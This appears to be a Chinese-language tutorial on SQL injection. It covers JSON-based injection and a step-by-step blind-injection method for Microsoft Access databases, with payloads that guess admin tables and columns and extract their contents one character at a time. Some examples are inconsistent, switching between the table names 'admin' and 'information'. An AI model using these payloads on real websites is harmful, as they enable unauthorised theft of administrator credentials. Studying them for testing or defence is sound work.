非access数据库注入思路
高低权限
最终目的:网站权限
注意提交方法
json注入
1.介绍
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。
2.语法
数据在名称/值对中
数据由逗号分隔
大括号保存对象
中括号保存数组
3.JSON 值
数字(整数或浮点数) {“age”:30 }
字符串(在双引号中) {“uname”:“yang”}
逻辑值(true 或 false) {“flag”:true }
数组(在中括号中){“sites”:[{“name”:“yang”},{“name”:“ming”}]}
对象(在大括号中)JSON 对象在大括号({})中书写:
null { “runoob”:null }
与其他注入不同的是数据的表达形式
在进行注入时需要注意到可以在JSON数据中插入元素的情况,从而通过JSON数据对业务非常关键的值执行恶意操作,严重的可能导致XSS和动态解析代码。
需要注意数据是否需要闭合 上图Dumb‘的单引号就是为了sql语句中的单引号。
access数据库
access数据库大多都是和asp脚本语言相连的
access数据库不存在跨站攻击的可能
注入语句和功能等存在区别
Access数据库中没有注释符号.因此 /**/ 、 – 和 # 都没法使用。
Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。
函数
select len(“string”) 查询给定字符串的长度
select asc(“a”) 查询给定字符串的ascii值
top n 查询前n条记录
select mid(“string”,2,1) 查询给定字符串从指定索引开始的长度
mid(string,start,length) 这个用来截取字符串的
string是要截取的字符串
start是截取的字符串开始索引
length是要截取的字符串长度
access注入思路
1.access特有的表 msysobjects 所以可以用它来判断是否是Access数据库
2.判断存在sql注入后,判断是否存在admin表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破
and exists(select* from admin)
3.猜测字段也是一样,只能通过枚举来猜测
判断有admin表后,再判断admin表有多少列,假如1-10正常查询,11列报语法报错,那说明有10列
and exists(select*from admin order by 10)
4.判断出存在的列数后,再判断具体的列名。以下语句判断是否存在name列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破
and exists(select name from admin)
5.猜测完表名和字段名后,我们就看看这个表里面有多少行数据 ,如果>99查询正确,>100查询错误(这里是查询错误,而不是语法错误),说明有100行数据
and (select count(*) from information)>100
6.然后在猜测每个字段具体的数据了
access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了
猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
and (select top 1 len(admin)from admin)>5
猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
and (select top 1 asc(mid(admin,1,1))from admin)>97
第一行数据的第二个字符
and (select top 1 asc(mid(admin,2,1))from admin)>97
从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
查询第二行admin列的长度
and (select top 1 len(admin) from ( select top 2 * from information order by id) order by id desc)>55
下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1)) from ( select top 2 * from information order by id) order by id desc)>55
查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1)) from ( select top 3 * from information order by id) order by id desc)>55
SQL注入-其他数据库(Access、SQLserver、Oracle)
PostgreSQL注入总结
Sqlmap常用命令总结及注入实战(Access、mysql)